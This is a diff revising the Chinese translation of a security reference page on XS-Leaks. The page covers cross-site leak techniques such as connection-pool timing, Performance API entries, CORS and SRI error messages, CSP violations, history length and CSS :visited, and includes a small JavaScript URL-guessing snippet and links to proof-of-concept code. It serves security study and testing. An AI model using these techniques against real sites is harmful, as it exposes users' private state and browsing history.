+4. 尝试向不同主机发起第 257 个请求。由于所有插座都在使用中（根据步骤 2 和 3），此请求将被排队，直到插座可用。此请求进行之前的延迟为攻击者提供了与第 256 个插座（目标页面的插座）相关的网络活动的计时信息。这种推断是可能的，因为步骤 2 中的 255 个插座仍在使用，这意味着任何新可用的插座必须是从步骤 3 中释放的。第 256 个插座变得可用所需的时间因此直接与请求完成所需的时间相关联。
 
-更多信息请参见: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
+有关更多信息: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
 
 ### 按目标的连接池
 
 - **包含方法**: JavaScript 请求
-- **可检测差异**: 时间（通常由于页面内容、状态码）
+- **可检测差异**: 计时（通常由于页面内容、状态码）
 - **更多信息**:
-- **总结**: 这与前面的技术类似，但 Google **Chrome** 对**同一源的并发请求**限制为**6 个**。如果我们**阻塞 5 个**，然后**发起第 6 个**请求，我们可以**计时**，如果我们设法让**受害者页面发送**更多**请求**到同一端点以检测页面的**状态**，第 **6 个请求**将需要**更长时间**，我们可以检测到它。
+- **总结**: 这与前一种技术类似，但 Google **Chrome** 对**同一源的并发请求**设置了**6 个限制**。如果我们**阻塞 5 个**，然后**发起第 6 个**请求，我们可以**计时**，如果我们设法让**受害者页面发送**更多**请求**到同一端点以检测页面的**状态**，第 **6 个请求**将需要**更长时间**，我们可以检测到。
 
 ## 性能 API 技术
 
-[`性能 API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) 提供了对 Web 应用程序性能指标的洞察，进一步通过 [`资源计时 API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) 得到增强。资源计时 API 使监控详细的网络请求时序成为可能，例如请求的持续时间。值得注意的是，当服务器在其响应中包含 `Timing-Allow-Origin: *` 头时，诸如传输大小和域查找时间等额外数据将变得可用。
+[`性能 API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) 提供了对 Web 应用程序性能指标的洞察，进一步通过 [`资源计时 API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) 得到增强。资源计时 API 使监控详细的网络请求计时成为可能，例如请求的持续时间。值得注意的是，当服务器在其响应中包含 `Timing-Allow-Origin: *` 头时，诸如传输大小和域查找时间等附加数据将变得可用。
 
-这些丰富的数据可以通过 [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) 或 [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) 等方法检索，提供全面的性能相关信息。此外，该 API 通过计算从 [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) 获取的时间戳之间的差异来测量执行时间。然而，值得注意的是，对于某些浏览器（如 Chrome）中的操作，`performance.now()` 的精度可能仅限于毫秒，这可能影响计时测量的粒度。
+这些数据可以通过 [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) 或 [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) 等方法检索，提供全面的性能相关信息。此外，API 通过计算从 [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) 获取的时间戳之间的差异来测量执行时间。然而，值得注意的是，对于某些在 Chrome 等浏览器中的操作，`performance.now()` 的精度可能仅限于毫秒，这可能会影响计时测量的粒度。
 
-除了计时测量外，性能 API 还可以用于安全相关的洞察。例如，Chrome 中 `performance` 对象中页面的存在或缺失可以指示 `X-Frame-Options` 的应用。具体来说，如果由于 `X-Frame-Options` 而阻止页面在框架中呈现，则不会在 `performance` 对象中记录该页面，从而提供有关页面框架策略的微妙线索。
+除了计时测量外，性能 API 还可以用于安全相关的洞察。例如，Chrome 中 `performance` 对象中页面的存在或缺失可以指示 `X-Frame-Options` 的应用。具体而言，如果由于 `X-Frame-Options` 而阻止页面在框架中呈现，则不会在 `performance` 对象中记录该页面，从而提供有关页面框架策略的微妙线索。
 
 ### 错误泄露
 
@@ -297,10 +297,10 @@ connection-pool-example.md
 - **包含方法**: HTML 元素
 - **可检测差异**: 状态码
 - **更多信息**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **总结**: 由于浏览器错误，导致错误的请求会被加载两次。
+- **总结**: 由于浏览器错误，导致错误的请求被加载两次。
 - **代码示例**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
 
-在前面的技术中，还识别出浏览器 GC 中的两个案例，导致**资源在加载失败时被加载两次**。这将导致性能 API 中出现多个条目，因此可以被检测到。
+在前一种技术中，还识别出浏览器 GC 中的两个案例，导致**资源在加载失败时被加载两次**。这将导致性能 API 中的多个条目，因此可以被检测到。
 
 ### 请求合并错误
 
@@ -310,7 +310,7 @@ connection-pool-example.md
 - **总结**: 导致错误的请求无法合并。
 - **代码示例**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
 
-该技术在提到的论文中的表格中发现，但未找到该技术的描述。然而，你可以在 [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak) 中检查源代码。
+该技术在提到的论文中的表格中被发现，但没有找到该技术的描述。然而，您可以通过检查 [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak) 中的源代码找到它。
 
 ### 空页面泄露
 
@@ -320,17 +320,17 @@ connection-pool-example.md
 - **总结**: 空响应不会创建资源计时条目。
 - **代码示例**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
 
-攻击者可以检测请求是否导致空的 HTTP 响应体，因为**空页面在某些浏览器中不会创建性能条目**。
+攻击者可以检测请求是否导致空 HTTP 响应体，因为**空页面在某些浏览器中不会创建性能条目**。
 
 ### **XSS-Auditor 泄露**
 
 - **包含方法**: Frames
 - **可检测差异**: 页面内容
 - **更多信息**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **总结**: 使用安全声明中的 XSS 审计器，攻击者可以通过观察在构造有效负载触发审计器过滤机制时响应的变化来检测特定网页元素。
+- **总结**: 使用安全声明中的 XSS 审计器，攻击者可以通过观察在构造有效负载触发审计器的过滤机制时响应的变化来检测特定网页元素。
 - **代码示例**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
 
-在安全声明 (SA) 中，XSS 审计器最初旨在防止跨站脚本 (XSS) 攻击，但可以悖论地被利用来泄露敏感信息。尽管这一内置特性已从 Google Chrome (GC) 中移除，但在 SA 中仍然存在。2013 年，Braun 和 Heiderich 证明 XSS 审计器可能会意外阻止合法脚本，导致误报。在此基础上，研究人员开发了提取信息和检测跨源页面特定内容的技术，这一概念被称为 XS-Leaks，最初由 Terada 报告，并由 Heyes 在博客文章中详细阐述。尽管这些技术特定于 GC 中的 XSS 审计器，但发现 SA 中被 XSS 审计器阻止的页面不会在性能 API 中生成条目，从而揭示了一种可能仍然泄露敏感信息的方法。
+在安全声明 (SA) 中，XSS 审计器最初旨在防止跨站脚本 (XSS) 攻击，但可以悖论地被利用来泄露敏感信息。尽管此内置功能已从 Google Chrome (GC) 中删除，但在 SA 中仍然存在。2013 年，Braun 和 Heiderich 证明 XSS 审计器可能会意外阻止合法脚本，导致误报。在此基础上，研究人员开发了提取信息和检测跨源页面特定内容的技术，这一概念被称为 XS-Leaks，最初由 Terada 报告，并由 Heyes 在博客文章中详细阐述。尽管这些技术特定于 GC 中的 XSS 审计器，但发现 SA 中被 XSS 审计器阻止的页面不会在性能 API 中生成条目，从而揭示了一种可能仍然泄露敏感信息的方法。
 
 ### X-Frame 泄露
 
@@ -341,7 +341,7 @@ connection-pool-example.md
 - **代码示例**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
 
 如果页面**不允许**在**iframe**中**呈现**，则不会**创建性能条目**。因此，攻击者可以检测响应头**`X-Frame-Options`**。\
-如果使用**embed** **标签**，情况也是如此。
+使用**embed** **标签**时也是如此。
 
 ### 下载检测
 
@@ -351,7 +351,7 @@ connection-pool-example.md
 - **总结**: 下载不会在性能 API 中创建资源计时条目。
 - **代码示例**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
 
-与描述的 XS-Leak 类似，由于 ContentDisposition 头，**下载的资源**也**不会创建性能条目**。该技术在所有主要浏览器中均有效。
+与描述的 XS-Leak 类似，**由于 ContentDisposition 头而下载的资源**也**不会创建性能条目**。此技术在所有主要浏览器中均有效。
 
 ### 重定向开始泄露
 
@@ -399,7 +399,7 @@ connection-pool-example.md
 ### 缓存
 
 - **包含方法**: Fetch API
-- **可检测差异**: 时间
+- **可检测差异**: 计时
 - **更多信息**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
 - **总结**: 可以检查资源是否存储在缓存中。
 - **代码示例**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
@@ -480,7 +480,7 @@ audioElement.onerror = errHandler
 - **总结:** 在安全声明 (SA) 中，CORS 错误消息无意中暴露了重定向请求的完整 URL。
 - **代码示例**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
 
-此技术使攻击者能够通过利用 Webkit 基于浏览器处理 CORS 请求的方式来**提取跨源站点重定向的目标**。具体而言，当向一个基于用户状态发出重定向的目标站点发送**CORS 启用请求**时，如果浏览器随后拒绝该请求，则**重定向目标的完整 URL**会在错误消息中披露。此漏洞不仅揭示了重定向的事实，还暴露了重定向的端点及其可能包含的任何**敏感查询参数**。
+此技术使攻击者能够**提取跨源站点重定向的目标**，通过利用基于 Webkit 的浏览器处理 CORS 请求的方式。具体而言，当向一个根据用户状态发出重定向的目标站点发送**CORS 启用请求**时，如果浏览器随后拒绝该请求，**重定向目标的完整 URL**将在错误消息中披露。此漏洞不仅揭示了重定向的事实，还暴露了重定向的端点及其可能包含的任何**敏感查询参数**。
 
 ### SRI 错误
 
@@ -490,7 +490,7 @@ audioElement.onerror = errHandler
 - **总结:** 在安全声明 (SA) 中，CORS 错误消息无意中暴露了重定向请求的完整 URL。
 - **代码示例**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
 
-攻击者可以利用**详细的错误消息**来推断跨源响应的大小。这是由于子资源完整性 (SRI) 的机制，该机制使用完整性属性来验证从 CDN 获取的资源是否未被篡改。为了使 SRI 在跨源资源上工作，这些资源必须是**CORS 启用的**；否则，它们不受完整性检查。在安全声明 (SA) 中，与 CORS 错误 XS-Leak 类似，错误消息可以在带有完整性属性的 fetch 请求失败后被捕获。攻击者可以故意**触发此错误**，通过将**虚假的哈希值**分配给任何请求的完整性属性。在 SA 中，结果错误消息无意中揭示了请求资源的内容长度。这一信息泄露使攻击者能够识别响应大小的变化，为复杂的 XS-Leak 攻击铺平了道路。
+攻击者可以利用**详细的错误消息**推断跨源响应的大小。这是由于子资源完整性 (SRI) 的机制，该机制使用完整性属性验证从 CDN 获取的资源未被篡改。为了使 SRI 在跨源资源上工作，这些资源必须是**CORS 启用的**；否则，它们不受完整性检查。在安全声明 (SA) 中，类似于 CORS 错误 XS-Leak，当带有完整性属性的 fetch 请求失败时，可以捕获错误消息。攻击者可以故意**触发此错误**，通过将**虚假的哈希值**分配给任何请求的完整性属性。在 SA 中，结果错误消息无意中揭示了请求资源的内容长度。这一信息泄露使攻击者能够识别响应大小的变化，为复杂的 XS-Leak 攻击铺平了道路。
 
 ### CSP 违规/检测
 
@@ -501,7 +501,7 @@ audioElement.onerror = errHandler
 - **代码示例**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
 
 XS-Leak 可以使用 CSP 检测跨源站点是否重定向到不同的源。此泄漏可以检测重定向，但此外，重定向目标的域也会泄漏。此攻击的基本思路是**在攻击者站点上允许目标域**。一旦向目标域发出请求，它**重定向**到一个跨源域。**CSP 阻止**对其的访问并创建一个**违规报告作为泄漏技术**。根据浏览器的不同，**此报告可能泄漏重定向的目标位置**。\
-现代浏览器不会指示重定向到的 URL，但您仍然可以检测到跨源重定向已被触发。
+现代浏览器不会指示重定向到的 URL，但仍然可以检测到触发了跨源重定向。
 
 ### 缓存
 
@@ -533,7 +533,7 @@ Google Chrome (GC) 中的一个新功能允许网页通过在 iframe 元素上
 - **总结:** 使用跨源资源策略 (CORP) 保护的资源在从不允许的源获取时会抛出错误。
 - **代码示例**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
 
-CORP 头是一个相对较新的网络平台安全功能，当设置时**阻止对给定资源的无 CORS 跨源请求**。可以检测到该头的存在，因为受 CORP 保护的资源在被获取时会**抛出错误**。
+CORP 头是一个相对较新的网络平台安全特性，当设置时**阻止对给定资源的无 CORS 跨源请求**。可以检测到该头的存在，因为受 CORP 保护的资源在被获取时会**抛出错误**。
 
 ### CORB
 
@@ -553,7 +553,7 @@ CORP 头是一个相对较新的网络平台安全功能，当设置时**阻止
 - **总结**: 如果 Origin 头在 `Access-Control-Allow-Origin` 头中被反射，则可以检查资源是否已经在缓存中。
 - **代码示例**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
 
-如果**Origin 头**在 `Access-Control-Allow-Origin` 头中被**反射**，攻击者可以利用此行为尝试在**CORS** 模式下**获取**该**资源**。如果**没有**触发**错误**，则意味着它是**正确地从网络中检索**的；如果触发了错误，则是因为它是**从缓存中访问的**（错误出现是因为缓存保存了一个带有允许原始域而不是攻击者域的 CORS 头的响应）。\
+如果**Origin 头**在 `Access-Control-Allow-Origin` 头中被**反射**，攻击者可以利用这种行为尝试在**CORS** 模式下**获取**该**资源**。如果**没有**触发**错误**，则意味着它是**正确地从网络中检索**的；如果触发了错误，则是因为它是**从缓存中访问的**（错误出现是因为缓存保存了一个带有允许原始域而不是攻击者域的 CORS 头的响应）。\
 请注意，如果原点没有被反射，但使用了通配符 (`Access-Control-Allow-Origin: *`)，则此方法将无效。
 
 ## 可读属性技术
@@ -576,7 +576,7 @@ CORP 头是一个相对较新的网络平台安全功能，当设置时**阻止
 - **总结:** 受跨源打开者策略 (COOP) 保护的页面防止跨源交互的访问。
 - **代码示例**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
 
-攻击者能够推断跨源 HTTP 响应中跨源打开者策略 (COOP) 头的存在。COOP 被网络应用程序用于阻止外部站点获取任意窗口引用。可以通过尝试访问**`contentWindow` 引用**来识别此头的可见性。在 COOP 有条件应用的情况下，**`opener` 属性**成为一个明显的指示器：当 COOP 活动时，它是**未定义的**，而在没有 COOP 的情况下则是**定义的**。
+攻击者能够推断跨源 HTTP 响应中跨源打开者策略 (COOP) 头的存在。COOP 被网络应用程序用于阻止外部站点获取任意窗口引用。可以通过尝试访问**`contentWindow` 引用**来识别此头的可见性。在 COOP 有条件应用的情况下，**`opener` 属性**成为一个明显的指示器：当 COOP 活动时，它是**未定义的**，而在没有 COOP 的情况下是**定义的**。
 
 ### URL 最大长度 - 服务器端
 
@@ -586,10 +586,10 @@ CORP 头是一个相对较新的网络平台安全功能，当设置时**阻止
 - **总结:** 检测响应中的差异，因为重定向响应长度可能过大，服务器会回复错误并生成警报。
 - **代码示例**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
 
-如果服务器端重定向使用**用户输入进行重定向**和**额外数据**。可以检测到这种行为，因为通常**服务器**有一个**请求长度限制**。如果**用户数据**是**长度 - 1**，因为**重定向**使用**该数据**并**添加**一些**额外**内容，它将触发一个**可通过错误事件检测到的错误**。
+如果服务器端重定向使用**用户输入进行重定向**并且**附加数据**。可以检测到这种行为，因为通常**服务器**有一个**请求长度限制**。如果**用户数据**是**长度 - 1**，因为**重定向**使用了**该数据**并**添加**了一些**额外的内容**，则会触发一个**可通过错误事件检测到的错误**。
 
 如果您可以以某种方式将 cookies 设置给用户，您还可以通过**设置足够的 cookies**（[**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)）来执行此攻击，因此**正确响应**的**响应大小**增加会触发一个**错误**。在这种情况下，请记住，如果您从同一站点触发此请求，`<script>` 将自动发送 cookies（因此您可以检查错误）。\
-有关**cookie bomb + XS-Search**的示例可以在此写作的意图解决方案中找到：[https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
+有关**cookie bomb + XS-Search**的示例可以在此写作的意图解决方案中找到: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
 
 `SameSite=None` 或处于相同上下文通常是此类攻击所需的。
 
@@ -623,27 +623,27 @@ url-max-length-client-side.md
 - **总结:** 利用浏览器的重定向限制来确定 URL 重定向的发生。
 - **代码示例**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
 
-如果浏览器的**最大**重定向次数为**20**，攻击者可以尝试用**19 次重定向**加载他的页面，最后**将受害者**发送到测试页面。如果触发了**错误**，则表示页面试图**重定向受害者**。
+如果浏览器的**最大**重定向次数为**20**，攻击者可以尝试用**19 次重定向**加载他的页面，最后**将受害者**发送到测试页面。如果触发了**错误**，则页面试图**重定向受害者**。
 
 ### 历史长度
 
 - **包含方法**: 框架, 弹出窗口
 - **可检测差异**: 重定向
 - **更多信息**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
-- **总结:** JavaScript 代码操纵浏览器历史，可以通过长度属性访问。
+- **总结:** JavaScript 代码操纵浏览器历史记录，可以通过长度属性访问。
 - **代码示例**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
 
-**历史 API** 允许 JavaScript 代码操纵浏览器历史，**保存用户访问的页面**。攻击者可以使用长度属性作为包含方法：检测 JavaScript 和 HTML 导航。\
+**历史 API** 允许 JavaScript 代码操纵浏览器历史记录，**保存用户访问的页面**。攻击者可以使用长度属性作为包含方法：检测 JavaScript 和 HTML 导航。\
 **检查 `history.length`**，使用户**导航**到一个页面，**返回**到同源并**检查**新值的**`history.length`**。
 
-### 使用相同 URL 的历史长度
+### 同一 URL 的历史长度
 
 - **包含方法**: 框架, 弹出窗口
 - **可检测差异**: 如果 URL 与猜测的 URL 相同
-- **总结:** 可以通过操纵历史长度来猜测框架/弹出窗口的位置是否在特定 URL 中。
+- **总结:** 可以通过历史长度猜测框架/弹出窗口的位置是否在特定 URL 中。
 - **代码示例**: 以下
 
-攻击者可以使用 JavaScript 代码**操纵框架/弹出窗口的位置到猜测的 URL**，并**立即**将其**更改为 `about:blank`**。如果历史长度增加，则意味着 URL 是正确的，并且有时间**增加，因为如果 URL 相同则不会重新加载**。如果没有增加，则意味着它**尝试加载猜测的 URL**，但因为我们**立即之后**加载了**`about:blank`**，所以**历史长度在加载猜测的 URL 时从未增加**。
+攻击者可以使用 JavaScript 代码**操纵框架/弹出窗口的位置到猜测的 URL**，并**立即**将其**更改为 `about:blank`**。如果历史长度增加，则意味着 URL 是正确的，并且有时间**增加，因为如果 URL 相同则不会重新加载**。如果没有增加，则意味着它**尝试加载猜测的 URL**，但因为我们**立即之后**加载了**`about:blank`**，所以在加载猜测的 URL 时**历史长度从未增加**。
 ```javascript
 async function debug(win, url) {
 win.location = url + "#aaa"
@@ -676,24 +676,24 @@ console.log(await debug(win, "https://example.com/?a=b"))
 
 ### HTMLElements
 
-- **Inclusion Methods**: HTML Elements
+- **Inclusion Methods**: HTML 元素
 - **Detectable Difference**: 页面内容
 - **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
-- **Summary:** 读取泄露的值以区分两种可能的状态
+- **Summary:** 读取泄露的值以区分 2 种可能的状态
 - **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
 
-通过 HTML 元素的信息泄露是网络安全中的一个问题，特别是当动态媒体文件基于用户信息生成时，或者当添加水印时，改变媒体大小。攻击者可以利用这一点，通过分析某些 HTML 元素暴露的信息来区分可能的状态。
+通过 HTML 元素的信息泄露是网络安全中的一个问题，特别是当动态媒体文件基于用户信息生成时，或者当添加水印时，改变媒体大小。这可以被攻击者利用，通过分析某些 HTML 元素暴露的信息来区分可能的状态。
 
 ### Information Exposed by HTML Elements
 
-- **HTMLMediaElement**: 此元素揭示媒体的 `duration` 和 `buffered` 时间，可以通过其 API 访问。[Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
-- **HTMLVideoElement**: 它暴露 `videoHeight` 和 `videoWidth`。在某些浏览器中，像 `webkitVideoDecodedByteCount`、`webkitAudioDecodedByteCount` 和 `webkitDecodedFrameCount` 等附加属性可用，提供有关媒体内容的更深入信息。[Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
-- **getVideoPlaybackQuality()**: 此函数提供有关视频播放质量的详细信息，包括 `totalVideoFrames`，这可以指示处理的视频数据量。[Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
-- **HTMLImageElement**: 此元素泄露图像的 `height` 和 `width`。但是，如果图像无效，这些属性将返回 0，并且 `image.decode()` 函数将被拒绝，指示未能正确加载图像。[Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
+- **HTMLMediaElement**: 该元素揭示媒体的 `duration` 和 `buffered` 时间，可以通过其 API 访问。[了解更多关于 HTMLMediaElement 的信息](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
+- **HTMLVideoElement**: 它暴露 `videoHeight` 和 `videoWidth`。在某些浏览器中，额外的属性如 `webkitVideoDecodedByteCount`、`webkitAudioDecodedByteCount` 和 `webkitDecodedFrameCount` 可用，提供有关媒体内容的更深入信息。[了解更多关于 HTMLVideoElement 的信息](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
+- **getVideoPlaybackQuality()**: 此函数提供有关视频播放质量的详细信息，包括 `totalVideoFrames`，这可以指示处理的视频数据量。[了解更多关于 getVideoPlaybackQuality() 的信息](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
+- **HTMLImageElement**: 该元素泄露图像的 `height` 和 `width`。但是，如果图像无效，这些属性将返回 0，并且 `image.decode()` 函数将被拒绝，表示未能正确加载图像。[了解更多关于 HTMLImageElement 的信息](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
 
 ### CSS Property
 
-- **Inclusion Methods**: HTML Elements
+- **Inclusion Methods**: HTML 元素
 - **Detectable Difference**: 页面内容
 - **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
 - **Summary:** 识别与用户状态或身份相关的网站样式变化。
@@ -704,26 +704,26 @@ Web 应用程序可能会根据用户的状态更改 **网站样式**。跨域 C
 
 ### CSS History
 
-- **Inclusion Methods**: HTML Elements
+- **Inclusion Methods**: HTML 元素
 - **Detectable Difference**: 页面内容
 - **More info**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
-- **Summary:** 检测 `:visited` 样式是否应用于 URL，指示其已被访问
+- **Summary:** 检测是否对 URL 应用 `:visited` 样式，指示其已被访问
 - **Code Example**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
 
 > [!NOTE]
-> 根据 [**this**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)，在无头 Chrome 中此方法无效。
+> 根据 [**这个**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) 的说法，这在无头 Chrome 中不起作用。
 
-CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样式处理。过去，可以使用 `getComputedStyle()` 方法来识别这些样式差异。然而，现代浏览器已实施安全措施，以防止此方法揭示链接的状态。这些措施包括始终返回计算样式，仿佛链接已被访问，并限制可以使用 `:visited` 选择器应用的样式。
+CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样式处理。在过去，可以使用 `getComputedStyle()` 方法来识别这些样式差异。然而，现代浏览器已实施安全措施，以防止此方法揭示链接的状态。这些措施包括始终返回计算样式，仿佛链接已被访问，并限制可以使用 `:visited` 选择器应用的样式。
 
 尽管有这些限制，但可以间接识别链接的访问状态。一种技术涉及诱使用户与受 CSS 影响的区域进行交互，特别是利用 `mix-blend-mode` 属性。该属性允许元素与其背景混合，可能根据用户交互揭示访问状态。
 
-此外，可以通过利用链接的渲染时间来实现无用户交互的检测。由于浏览器可能以不同方式渲染已访问和未访问的链接，这可能在渲染中引入可测量的时间差。Chromium 错误报告中提到了一种概念验证 (PoC)，演示了使用多个链接来放大时间差，从而通过时间分析使访问状态可检测。
+此外，可以通过利用链接的渲染时间来实现无用户交互的检测。由于浏览器可能以不同方式渲染已访问和未访问的链接，这可能在渲染中引入可测量的时间差异。在 Chromium 错误报告中提到了一种概念证明 (PoC)，演示了使用多个链接来放大时间差异，从而通过时间分析使访问状态可检测。
 
 有关这些属性和方法的更多详细信息，请访问其文档页面：
 
-- `:visited`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
-- `getComputedStyle()`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
-- `mix-blend-mode`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
+- `:visited`: [MDN 文档](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
+- `getComputedStyle()`: [MDN 文档](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
+- `mix-blend-mode`: [MDN 文档](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
 
 ### ContentDocument X-Frame Leak
 
@@ -746,12 +746,12 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
 `Content-Disposition` 头，特别是 `Content-Disposition: attachment`，指示浏览器下载内容而不是内联显示。这种行为可以被利用来检测用户是否可以访问触发文件下载的页面。在基于 Chromium 的浏览器中，有几种技术可以检测这种下载行为：
 
 1. **下载栏监控**：
-- 当在基于 Chromium 的浏览器中下载文件时，浏览器窗口底部会出现下载栏。
+- 当文件在基于 Chromium 的浏览器中下载时，下载栏会出现在浏览器窗口底部。
 - 通过监控窗口高度的变化，攻击者可以推断下载栏的出现，表明下载已启动。
-2. **使用 Iframe 的下载导航**：
-- 当页面使用 `Content-Disposition: attachment` 头触发文件下载时，它不会引起导航事件。
+2. **使用 Iframes 的下载导航**：
+- 当页面使用 `Content-Disposition: attachment` 头触发文件下载时，它不会导致导航事件。
 - 通过在 iframe 中加载内容并监控导航事件，可以检查内容处置是否导致文件下载（无导航）或不是。
-3. **不使用 Iframe 的下载导航**：
+3. **不使用 Iframes 的下载导航**：
 - 与 iframe 技术类似，此方法涉及使用 `window.open` 而不是 iframe。
 - 监控新打开窗口中的导航事件可以揭示是否触发了文件下载（无导航）或内容是否内联显示（发生导航）。
 
@@ -766,13 +766,13 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
 - **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (来自 [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
 
 > [!WARNING]
